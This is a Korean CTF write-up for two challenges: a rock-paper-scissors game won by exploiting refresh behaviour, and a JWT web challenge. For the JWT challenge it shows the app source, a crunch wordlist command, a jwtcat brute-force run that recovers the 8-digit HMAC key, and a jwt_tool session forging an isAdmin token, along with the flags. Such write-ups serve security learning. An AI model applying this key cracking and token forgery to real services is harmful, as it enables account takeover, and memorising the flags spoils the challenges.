Weathering_With_You{Kato_Megumi}팀에서 문제를 풀었습니다.
Strange Elephpant (misc)
Something wrong happened to my cute elephpant.. :(
코끼리와 가위바위보를 하면 된다.
코끼리가 낸 가위 바위 보를 보고 조건에 맞춰서 가위 바위 보를 내면 된다. 제한시간은 2초.
어딘가 잘못된 PHP 코끼리에게 져 주세요!
어딘가 잘못된 PHP 코끼리와 비겨주세요!
어딘가 잘못된 PHP 코끼리를 이겨주세요!
문제를 손으로 풀려는 시도를 하던 중에 한 가지 사실을 알아 낼 수 있었다.
새로고침을 계속 해도
1. 이긴 라운드의 수는 초기화되지 않는다.
2. 제한시간은 초기화된다.
(마지막으로 새로고침한 시점 이후 2초가 지나야 time out. 새로고침을 2초 이상 해도 상관이 없다.)
3. 코끼리와 조건만 바뀔 뿐
이를 이용해서, 조건이 '비겨주세요'가 나올 때 까지 무한 새로고침해서 코끼리가 낸 것을 보고 그대로 내주면 된다.
이 과정을 100번해서 플래그를 얻을 수 있었다. (하고 나면 손이 저린다.)
FLAG : XMAS{k0ggiri_ahjeossi_neun_k0ga_son_irae}
코끼리 아저씨 는 코가 손 이래
JWT (web)
Plz crack jwt
소스코드 파일도 제공되었다.
src/routes/bruth.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
|
const { UserBruth, BoardBruth } = require('../sequelize');
const jwt = require('jsonwebtoken');
const express = require('express');
const router = express.Router();
const CONF = require('../config');
const { wrap, getHash } = require('../func');
router.use(express.static(`${__dirname}/../static/bruth`));
router.use((req, res, next) => {
const token = req.cookies.token_b;
if (token) {
jwt.verify(token, CONF.jwt.bruth.key, CONF.jwt.bruth.options, (err, decoded) => {
if (err) {
if (err.name === 'TokenExpiredError') {
return res.send({ code: 401, msg: '토큰이 만료되었습니다' });
} else if (err.name === 'JsonWebTokenError') {
return res.send({ code: 401, msg: '토큰에 에러가 있습니다' });
} else {
return res.send({ code: 401, msg: "토큰 인증 절차에 오류가 발생했습니다", err: err.message });
}
} else {
req.auth = decoded;
next();
}
});
} else {
next();
}
});
router.post('/join', wrap(async (req, res) => {
const { username, password } = req.body;
if (!username || !password) return res.send({ code: 400 });
const u = await UserBruth.findOne({
where: { username },
attributes: ['id'],
});
if (u) return res.send({ code: 423 });
const user = await UserBruth.create({
username,
password: getHash(password)
});
res.send({ code: 200, id: await user.get('id') });
}));
router.post('/login', wrap(async (req, res) => {
const { username, password } = req.body;
if (!username || !password) return res.send({ code: 400 });
const user = await UserBruth.findOne({
where: {
username,
password: getHash(password)
},
attributes: ['id'],
});
if (!user) return res.send({ code: 404 });
const token = jwt.sign(
{
uid: user.id,
isAdmin: false
},
CONF.jwt.bruth.key,
CONF.jwt.bruth.options
);
res.cookie('token_b', token, { httpOnly: true });
res.send({ code: 200 });
}));
router.get('/logout', (req, res) => {
res.cookie('token_b', '', { maxAge: Date.now() });
res.redirect('.');
});
router.get('/me', needAuth, wrap(async (req, res) => {
const { uid } = req.auth;
const user = await UserBruth.findOne({ where: { id: uid }, attributes: ['username'] });
if (!user) return res.send({ code: 500 });
res.send({ code: 200, username: user.username });
}));
router.get('/flag', wrap(async (req, res) => {
if (!req.auth) return res.send({ code: 401 });
if (!req.auth.isAdmin) return res.send({ code: 403 });
res.send({ code: 200, flag: CONF.flag.bruth });
}));
function needAuth(req, res, next) {
if (!req.auth) return res.send({ code: 401 });
next();
}
module.exports = router;
|
cs |
93행을 보면, /flag로 접근하면
로그인이 되어 있는지 검증 (94행)
isAdmin값이 True인지 검증 (95행) 을 해서 flag를 준다.
isAdmin은 로그인시 jwt token값에 들어간다. (70행)
해당 토근 값은 로그인 후, token_b 쿠키값에서 확인할 수 있다.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM
jwt는 .으로 구분되며 header.payload.signature 와 같은 구조를 하고 있다.
아래 사이트에서 내용을 평문으로 확인 할 수 있다. (base64로 봐도 된다.)
isAdmin이 Fasle로 되어 있는데 True로 바꿔주면 된다.
그러나 그냥 바꾸게되면 signature 부분 때문에 효력이 없어진다.
payload를 바꾸고 서명까지 완벽하게 하기 위해서는 secret값이 필요하다.
src/config.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
const fs = require('fs');
module.exports = {
http: {
port: 8011,
flagPort: 8012,
},
https: {
use: false,
port: 443,
key: './src/ssl/private.key',
cert: './src/ssl/certificate.crt',
},
db: {
host: 'mysql',
port: '3306',
database: '',
user: '',
password: '',
},
jwt: {
bruth: {
key: '********', // 0~9, 8 length
options: {
issuer: 'c2w2m2',
expiresIn: '1d',
algorithm: 'HS256',
}
},
csrf: {
key: {
private: fs.readFileSync('./keys/private.key'),
public: fs.readFileSync('./keys/public.key'),
},
options: {
issuer: 'c2w2m2',
expiresIn: '1h',
algorithm: 'RS256',
},
},
},
flag: {
bruth: '',
csrf: '',
},
hashSort: '',
password: '',
}
|
cs |
23행을 보면 key값은 0~9로 이루어진 8자리라는 힌트를 얻을 수 있다.
key값을 구하기 위해 brute force attack을 사용했다.
0. crunch로 사전 파일을 생성한다.
$crunch 8 8 1234567890 -o ./pw.txt
최소길이 8, 최대길이 8, 조합1234567890, output
1. jwtcat을 이용하여 brute force attack
https://github.com/aress31/jwtcat
$ python3 jwtcat.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q -w ./pw.txt
[INFO] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MDY1MSwiZXhwIjoxNTc3MzM3MDUxLCJpc3MiOiJjMncybTIifQ.4DSqfDJRM1iyiw1OmiCsrN67bOw9iWW-RuXe0PMcU6Q
[INFO] Wordlist: ./pw.txt
[INFO] Starting brute-force attacks
[WARNING] Pour yourself some coffee, this might take a while...
[INFO] Secret key: 40906795
[INFO] Secret key saved to location: jwtpot.potfile
[INFO] Finished in 2233.2587053775787 sec
Ryzen 1700의 16개 쓰레드중 3개 사용(가상머신)하여 37분 소요됐다. (중간진행상황을 안보여줘서 불편..)
2. jwt-tool을 이용해서 토큰의 내용을 수정해준다.
https://github.com/ticarpi/jwt_tool
$ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTU3NzI1MzQ5NiwiZXhwIjoxNTc3MzM5ODk2LCJpc3MiOiJjMncybTIifQ.W6NBpwj2BYY5ghioV8EjaqdwSdHZFk-1heFHy7dvGWM
$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$$$\ $$\
\__$$ |$$ | $\ $$ |\__$$ __| \__$$ __| $$ |
$$ |$$ |$$$\ $$ | $$ | $$ | $$$$$$\ $$$$$$\ $$ |
$$ |$$ $$ $$\$$ | $$ | $$ |$$ __$$\ $$ __$$\ $$ |
$$\ $$ |$$$$ _$$$$ | $$ | $$ |$$ / $$ |$$ / $$ |$$ |
$$ | $$ |$$$ / \$$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ |
\$$$$$$ |$$ / \$$ | $$ | $$ |\$$$$$$ |\$$$$$$ |$$ |
\______/ \__/ \__| \__|$$$$$$\__| \______/ \______/ \__|
Version 1.3.2 \______|
=====================
Decoded Token Values:
=====================
Token header values:
[+] alg = HS256
[+] typ = JWT
Token payload values:
[+] uid = 120
[+] isAdmin = False
[+] iat = 1577253496 ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[+] exp = 1577339896 ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[+] iss = c2w2m2
Seen timestamps:
[*] iat was seen
[+] exp is later than iat by: 1 days, 0 hours, 0 mins
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
########################################################
# Options: #
# ==== TAMPERING ==== #
# 1: Tamper with JWT data (multiple signing options) #
# #
# ==== VULNERABILITIES ==== #
# 2: Check for the "none" algorithm vulnerability #
# 3: Check for HS/RSA key confusion vulnerability #
# 4: Check for JWKS key injection vulnerability #
# #
# ==== CRACKING/GUESSING ==== #
# 5: Check HS signature against a key (password) #
# 6: Check HS signature against key file #
# 7: Crack signature with supplied dictionary file #
# #
# ==== RSA KEY FUNCTIONS ==== #
# 8: Verify RSA signature against a Public Key #
# #
# 0: Quit #
########################################################
Please make a selection (1-6)
> 1
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] alg = HS256
[2] typ = JWT
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] uid = 120
[2] isAdmin = False
[3] iat = 1577253496 ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896 ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 2
Current value of isAdmin is: False
Please enter new value and hit ENTER
> True
[1] uid = 120
[2] isAdmin = True
[3] iat = 1577253496 ==> TIMESTAMP = 2019-12-25 14:58:16 (UTC)
[4] exp = 1577339896 ==> TIMESTAMP = 2019-12-26 14:58:16 (UTC)
[5] iss = c2w2m2
[6] *ADD A VALUE*
[7] *DELETE A VALUE*
[8] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature
Please select an option from above (1-5):
> 1
Please enter the known key:
> 40906795
Please enter the keylength:
[1] HMAC-SHA256
[2] HMAC-SHA384
[3] HMAC-SHA512
> 1
Your new forged token:
[+] URL safe: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4
[+] Standard: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMCwiaXNBZG1pbiI6IlRydWUiLCJpYXQiOjE1NzcyNTM0OTYsImV4cCI6MTU3NzMzOTg5NiwiaXNzIjoiYzJ3Mm0yIn0.3f5Cevozi5UdonpqLNEmyC8osj0vbBTigDGClThJ2E4
config.js를 보면 HS256으로 되어 있기 때문에 HMAC-SHA256을 선택해준다.
새로운 토큰값으로 쿠키를 바꾸고 /flag로 접근하면 flag가 표시된다.
{"code":200,"flag":"XMAS{bru73-f0rc3-jw7_^^7}"}
'CTF Write Up' 카테고리의 다른 글
UTCTF 2020 Write up (0) | 2020.03.07 |
---|---|
RiceTeaCatPanda CTF 2020 Write up (0) | 2020.01.22 |
UTC-CTF 2019 Teaser write-up (0) | 2019.12.22 |
X-MAS CTF 2019 X-MAS Helper write-up (0) | 2019.12.21 |
THE HACKING CHAMPIONSHIP JUNIOR 2019 FINAL Write-up (0) | 2019.12.10 |